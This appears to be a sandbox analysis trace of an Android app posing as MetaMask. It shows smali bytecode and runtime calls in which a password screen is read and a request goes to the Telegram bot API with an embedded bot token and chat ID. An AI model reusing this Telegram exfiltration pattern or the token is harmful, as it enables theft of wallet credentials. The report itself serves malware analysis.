          • p0: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1303520
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@2b63087
          • p0: java.lang.String@a81a21d
        • Time: 1303527
          • This:
            • java.lang.String@9c5fbb4
          • p0: [C@d3533dd
          • p0: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@f629b52
          • Return:
            • java.lang.String@9c5fbb4
        • Time: 1303665
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@2b63087
          • Return:
            • java.lang.String@9c5fbb4
        2move-result-object v0
        4invoke-interface {p2}, Lcz/msebera/android/httpclient/RequestLine;->getUri()Ljava/lang/String;
        • Time: 1303669
          • This:
            • GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • Return:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        5move-result-object v1
        7invoke-virtual {v0}, Ljava/lang/String;->length()I
        8move-result v2
        9add-int/lit8 v2, v2, 0x1
        11invoke-virtual {v1}, Ljava/lang/String;->length()I
        12move-result v3
        13add-int/2addr v2, v3
        14add-int/lit8 v2, v2, 0x1
        16invoke-interface {p2}, Lcz/msebera/android/httpclient/RequestLine;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        17move-result-object v3
        19invoke-virtual {p0, v3}, Lcz/msebera/android/httpclient/message/BasicLineFormatter;->estimateProtocolVersionLen(Lcz/msebera/android/httpclient/ProtocolVersion;)I
        20move-result v3
        21add-int/2addr v2, v3
        23invoke-virtual {p1, v2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->ensureCapacity(I)V
        25invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        • Time: 1303672
          • This:
            • java.lang.String@c9fb238
          • p0: [C@79c2211
          • p0: GET
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@a01df76
          • Return:
            • java.lang.String@c9fb238
        • Time: 1303672
          • This:
            • GET
          • p0: java.lang.String@c1438e0
        26const/16 v0, 0x20
        28invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(C)V
        30invoke-virtual {p1, v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        • Time: 1303679
          • This:
            • GET
          • p0: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        32invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(C)V
        34invoke-interface {p2}, Lcz/msebera/android/httpclient/RequestLine;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        35move-result-object p2
        37invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/message/BasicLineFormatter;->appendProtocolVersion(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/ProtocolVersion;)Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        38return-void
        Cross References
        APIs
        • com.loopj.android.http.HttpGet.getMethod
        • java.net.URI.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        Strings
        • HTTP request
        • java.lang.String@c1438e0
        • Invalid request URI:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/ProtocolException;
        3}
        4.end annotation
        6invoke-direct {p0}, Lcz/msebera/android/httpclient/message/AbstractHttpMessage;-><init>()V
        8const-string v0, "HTTP request"
        10invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11iput-object p1, p0, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->original:Lcz/msebera/android/httpclient/HttpRequest;
        13invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        14move-result-object v0
        16invoke-virtual {p0, v0}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->setParams(Lcz/msebera/android/httpclient/params/HttpParams;)V
        18invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        19move-result-object v0
        21invoke-virtual {p0, v0}, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->setHeaders([Lcz/msebera/android/httpclient/Header;)V
        22instance-of v0, p1, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        23if-eqz v0, :cond_2e
        24check-cast p1, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        26invoke-interface {p1}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->getURI()Ljava/net/URI;
        27move-result-object v0
        28iput-object v0, p0, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->uri:Ljava/net/URI;
        30invoke-interface {p1}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->getMethod()Ljava/lang/String;
        • Time: 1302220
          • This:
            • GET https://api.telegram.org/bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • Return:
            • java.lang.String@c1438e0
        31move-result-object p1
        32iput-object p1, p0, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->method:Ljava/lang/String;
        33const/4 p1, 0x0
        34iput-object p1, p0, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->version:Lcz/msebera/android/httpclient/ProtocolVersion;
        35goto/16 :goto_49
        36cond_2e:
        37invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        38move-result-object v0
        39try_start_32: new-instance v1, Ljava/net/URI;
        41invoke-interface {v0}, Lcz/msebera/android/httpclient/RequestLine;->getUri()Ljava/lang/String;
        42move-result-object v2
        44invoke-direct {v1, v2}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
        45iput-object v1, p0, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->uri:Ljava/net/URI;
        46try_end_3d:
        47invoke-interface {v0}, Lcz/msebera/android/httpclient/RequestLine;->getMethod()Ljava/lang/String;
        48move-result-object v0
        49iput-object v0, p0, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->method:Ljava/lang/String;
        51invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        52move-result-object p1
        53iput-object p1, p0, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->version:Lcz/msebera/android/httpclient/ProtocolVersion;
        54goto_49: const/4 p1, 0x0
        55iput p1, p0, Lcz/msebera/android/httpclient/impl/client/RequestWrapper;->execCount:I
        56return-void
        57catch_4d: move-exception p1
        58new-instance v1, Lcz/msebera/android/httpclient/ProtocolException;
        59new-instance v2, Ljava/lang/StringBuilder;
        61invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        63const-string v3, "Invalid request URI: "
        65invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        67invoke-interface {v0}, Lcz/msebera/android/httpclient/RequestLine;->getUri()Ljava/lang/String;
        68move-result-object v0
        70invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        72invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        73move-result-object v0
        75invoke-direct {v1, v0, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        76throw v1
        APIs
        • android.support.v7.app.AppCompatActivity.onCreate
        • com.android.internal.policy.PhoneWindow.setContentView
        • com.lemon.metamask.Activity.CreateActivity.findViewById
        • android.widget.EditText.getText
        • java.lang.Object.toString
        • android.widget.EditText.getText
        • java.lang.Object.toString
        • com.lemon.metamask.Activity.CreateActivity.findViewById
        • android.widget.Button.setOnClickListener
        • com.lemon.metamask.Activity.CreateActivity.findViewById
        • android.widget.Button.setOnClickListener
        Position Instruction Meta Information
        1invoke-super {p0, p1}, Landroid/support/v7/app/AppCompatActivity;->onCreate(Landroid/os/Bundle;)V
        2const p1, 0x7f09001b
        4invoke-virtual {p0, p1}, Lcom/lemon/metamask/Activity/CreateActivity;->setContentView(I)V
        • Time: 1312086
          • This:
            • com.android.internal.policy.PhoneWindow@ad65133
          • p0: android.support.v7.widget.FitWindowsLinearLayout{dfc2297 V.E...... ......I. 0,0-0,0 #7f07000a app:id/action_bar_root}
        • Time: 1312093
          • This:
            • android.support.v7.widget.FitWindowsLinearLayout{dfc2297 V.E...... ......I. 0,0-0,0 #7f07000a app:id/action_bar_root}
          • p0: 16908290
          • Return:
            • android.support.v7.widget.ContentFrameLayout{ae21269 V.E...... ......I. 0,0-0,0 #1020002 android:id/content}
        5const p1, 0x7f07005a
        7invoke-virtual {p0, p1}, Lcom/lemon/metamask/Activity/CreateActivity;->findViewById(I)Landroid/view/View;
        8move-result-object p1
        9check-cast p1, Landroid/widget/EditText;
        10iput-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity;->password:Landroid/widget/EditText;
        11const p1, 0x7f070030
        13invoke-virtual {p0, p1}, Lcom/lemon/metamask/Activity/CreateActivity;->findViewById(I)Landroid/view/View;
        14move-result-object p1
        15check-cast p1, Landroid/widget/EditText;
        16iput-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity;->confirm_password:Landroid/widget/EditText;
        18iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity;->password:Landroid/widget/EditText;
        20invoke-virtual {p1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        21move-result-object p1
        23invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
        25iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity;->confirm_password:Landroid/widget/EditText;
        27invoke-virtual {p1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
        28move-result-object p1
        30invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
        31const p1, 0x7f070024
        33invoke-virtual {p0, p1}, Lcom/lemon/metamask/Activity/CreateActivity;->findViewById(I)Landroid/view/View;
        34move-result-object p1
        35check-cast p1, Landroid/widget/Button;
        36iput-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity;->cancel_btn:Landroid/widget/Button;
        38iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity;->cancel_btn:Landroid/widget/Button;
        39new-instance v0, Lcom/lemon/metamask/Activity/CreateActivity$1;
        41invoke-direct {v0, p0}, Lcom/lemon/metamask/Activity/CreateActivity$1;-><init>(Lcom/lemon/metamask/Activity/CreateActivity;)V
        43invoke-virtual {p1, v0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
        44const p1, 0x7f070061
        46invoke-virtual {p0, p1}, Lcom/lemon/metamask/Activity/CreateActivity;->findViewById(I)Landroid/view/View;
        47move-result-object p1
        48check-cast p1, Landroid/widget/Button;
        49iput-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity;->ok_btn:Landroid/widget/Button;
        51iget-object p1, p0, Lcom/lemon/metamask/Activity/CreateActivity;->ok_btn:Landroid/widget/Button;
        52new-instance v0, Lcom/lemon/metamask/Activity/CreateActivity$2;
        54invoke-direct {v0, p0}, Lcom/lemon/metamask/Activity/CreateActivity$2;-><init>(Lcom/lemon/metamask/Activity/CreateActivity;)V
        56invoke-virtual {p1, v0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
        57return-void
        APIs
        • cz.msebera.android.httpclient.extras.HttpClientAndroidLog.isDebugEnabled
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Route
        • Get connection:
        • , timeout =
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/lang/InterruptedException;,
        3Lcz/msebera/android/httpclient/conn/ConnectionPoolTimeoutException;
        4}
        5.end annotation
        7iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager$1;->val$route:Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        9const-string v1, "Route"
        11invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        13iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager$1;->this$0:Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;
        15iget-object v0, v0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        17invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        • Time: 1302389
          • This:
            • cz.msebera.android.httpclient.extras.HttpClientAndroidLog@af661a
          • Return:
            • false
        18move-result v0
        19if-eqz v0, :cond_33
        21iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager$1;->this$0:Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;
        23iget-object v0, v0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        24new-instance v1, Ljava/lang/StringBuilder;
        26invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        28const-string v2, "Get connection: "
        30invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        32iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager$1;->val$route:Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        34invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        36const-string v2, ", timeout = "
        38invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        40invoke-virtual {v1, p1, p2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
        42invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        43move-result-object v1
        45invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        46cond_33:
        47iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager$1;->val$poolRequest:Lcz/msebera/android/httpclient/impl/conn/tsccm/PoolEntryRequest;
        49invoke-interface {v0, p1, p2, p3}, Lcz/msebera/android/httpclient/impl/conn/tsccm/PoolEntryRequest;->getPoolEntry(JLjava/util/concurrent/TimeUnit;)Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;
        50move-result-object p1
        51new-instance p2, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;
        53iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager$1;->this$0:Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;
        55invoke-direct {p2, p3, p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;-><init>(Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;)V
        56return-object p2
        APIs
        • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter.isOpen
        • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter.isMarkedReusable
        Strings
        • Connection class mismatch, connection not obtained from this manager
        • Connection not obtained from this manager
        • Released connection is reusable.
        • Released connection is not reusable.
        • Exception shutting down released connection.
        Position Instruction Meta Information
        0instance-of v0, p1, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;
        2const-string v1, "Connection class mismatch, connection not obtained from this manager"
        4invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Args;->check(ZLjava/lang/String;)V
        5check-cast p1, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;
        7invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->getPoolEntry()Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;
        8move-result-object v0
        9if-eqz v0, :cond_1d
        11invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->getManager()Lcz/msebera/android/httpclient/conn/ClientConnectionManager;
        12move-result-object v0
        13if-ne v0, p0, :cond_17
        14const/4 v0, 0x1
        15goto/16 :goto_18
        16cond_17: const/4 v0, 0x0
        17goto_18:
        18const-string v1, "Connection not obtained from this manager"
        20invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        21cond_1d: monitor-enter p1
        22try_start_1e:
        23invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->getPoolEntry()Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;
        24move-result-object v0
        25move-object v2, v0
        26check-cast v2, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;
        27if-nez v2, :cond_29
        28monitor-exit p1
        29try_end_28: return-void
        30cond_29:
        31invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->isOpen()Z
        • Time: 1305006
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter@aa262c3
          • Return:
            • true
        32move-result v0
        33if-eqz v0, :cond_38
        35invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->isMarkedReusable()Z
        • Time: 1305008
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter@aa262c3
          • Return:
            • true
        36move-result v0
        37if-nez v0, :cond_38
        39invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->shutdown()V
        40try_end_38:
        41invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->isMarkedReusable()Z
        • Time: 1305011
          • This:
            • cz.msebera.android.httpclient.impl.conn.tsccm.BasicPooledConnAdapter@aa262c3
          • Return:
            • true
        42move-result v3
        44iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        46invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        47move-result v0
        48if-eqz v0, :cond_55
        49if-eqz v3, :cond_4e
        51iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        53const-string v1, "Released connection is reusable."
        55invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        56goto/16 :goto_55
        57cond_4e:
        58iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        60const-string v1, "Released connection is not reusable."
        62invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        63cond_55:
        64invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->detach()V
        66iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->pool:Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;
        67goto_5a: move-wide v4, p2
        68move-object v6, p4
        70invoke-virtual/range {v1 .. v6}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->freeEntry(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;ZJLjava/util/concurrent/TimeUnit;)V
        71try_end_5f: goto/16 :goto_95
        72catchall_60: move-exception v0
        73goto/16 :goto_97
        74catch_62: move-exception v0
        75try_start_63:
        76iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        78invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        79move-result v1
        80if-eqz v1, :cond_72
        82iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        84const-string v3, "Exception shutting down released connection."
        86invoke-virtual {v1, v3, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;Ljava/lang/Throwable;)V
        87cond_72:
        88invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->isMarkedReusable()Z
        89move-result v3
        91iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        93invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        94move-result v0
        95if-eqz v0, :cond_8f
        96if-eqz v3, :cond_88
        98iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        100const-string v1, "Released connection is reusable."
        102invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        103goto/16 :goto_8f
        104cond_88:
        105iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        107const-string v1, "Released connection is not reusable."
        109invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        110goto_8f:
        111invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->detach()V
        113iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->pool:Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;
        114goto/16 :goto_5a
        115goto_95: monitor-exit p1
        116return-void
        117goto_97:
        118invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->isMarkedReusable()Z
        119move-result v3
        121iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        123invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        124move-result v1
        125if-eqz v1, :cond_b4
        126if-eqz v3, :cond_ad
        128iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        130const-string v4, "Released connection is reusable."
        132invoke-virtual {v1, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        133goto/16 :goto_b4
        134cond_ad:
        135iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        137const-string v4, "Released connection is not reusable."
        139invoke-virtual {v1, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        140cond_b4:
        141invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPooledConnAdapter;->detach()V
        143iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ThreadSafeClientConnManager;->pool:Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;
        144move-wide v4, p2
        145move-object v6, p4
        147invoke-virtual/range {v1 .. v6}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->freeEntry(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;ZJLjava/util/concurrent/TimeUnit;)V
        148throw v0
        149catchall_bf: move-exception p2
        150monitor-exit p1
        151try_end_c1: throw p2
        APIs
        • cz.msebera.android.httpclient.HttpHost.toURI
        • cz.msebera.android.httpclient.conn.scheme.Scheme.isLayered
        • java.lang.IllegalStateException.getMessage
        • cz.msebera.android.httpclient.HttpException.<init>
        Strings
        • HTTP request
        • Target host
        • https
        • java.lang.String@244473c
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;
        3}
        4.end annotation
        6const-string p3, "HTTP request"
        8invoke-static {p2, p3}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpRequest;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        11move-result-object p3
        13invoke-static {p3}, Lcz/msebera/android/httpclient/conn/params/ConnRouteParams;->getForcedRoute(Lcz/msebera/android/httpclient/params/HttpParams;)Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        14move-result-object p3
        15if-eqz p3, :cond_10
        16return-object p3
        17cond_10:
        18const-string p3, "Target host"
        20invoke-static {p1, p3}, Lcz/msebera/android/httpclient/util/Asserts;->notNull(Ljava/lang/Object;Ljava/lang/String;)V
        22invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpRequest;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        23move-result-object p3
        25invoke-static {p3}, Lcz/msebera/android/httpclient/conn/params/ConnRouteParams;->getLocalAddress(Lcz/msebera/android/httpclient/params/HttpParams;)Ljava/net/InetAddress;
        26move-result-object p3
        28invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpRequest;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        29move-result-object p2
        31invoke-static {p2}, Lcz/msebera/android/httpclient/conn/params/ConnRouteParams;->getDefaultProxy(Lcz/msebera/android/httpclient/params/HttpParams;)Lcz/msebera/android/httpclient/HttpHost;
        32move-result-object p2
        33try_start_25:
        34iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/DefaultHttpRoutePlanner;->schemeRegistry:Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;
        36invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        • Time: 1302301
          • This:
            • https://api.telegram.org
          • Return:
            • java.lang.String@244473c
        • Time: 1302301
          • This:
            • https://api.telegram.org
          • Return:
            • https
        37move-result-object v1
        39invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;->getScheme(Ljava/lang/String;)Lcz/msebera/android/httpclient/conn/scheme/Scheme;
        40move-result-object v0
        41try_end_2f:
        42invoke-virtual {v0}, Lcz/msebera/android/httpclient/conn/scheme/Scheme;->isLayered()Z
        • Time: 1302339
          • This:
            • https:443
          • Return:
            • true
        43move-result v0
        44if-nez p2, :cond_3b
        45new-instance p2, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        47invoke-direct {p2, p1, p3, v0}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;-><init>(Lcz/msebera/android/httpclient/HttpHost;Ljava/net/InetAddress;Z)V
        48goto/16 :goto_41
        49cond_3b: new-instance v1, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        51invoke-direct {v1, p1, p3, p2, v0}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;-><init>(Lcz/msebera/android/httpclient/HttpHost;Ljava/net/InetAddress;Lcz/msebera/android/httpclient/HttpHost;Z)V
        52move-object p2, v1
        53goto_41: return-object p2
        54catch_42: move-exception p1
        55new-instance p2, Lcz/msebera/android/httpclient/HttpException;
        57invoke-virtual {p1}, Ljava/lang/IllegalStateException;->getMessage()Ljava/lang/String;
        58move-result-object p1
        60invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;)V
        61throw p2
        APIs
        • cz.msebera.android.httpclient.message.BasicRequestLine.getUri
        Strings
        • HTTP request
        • HTTP response
        • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
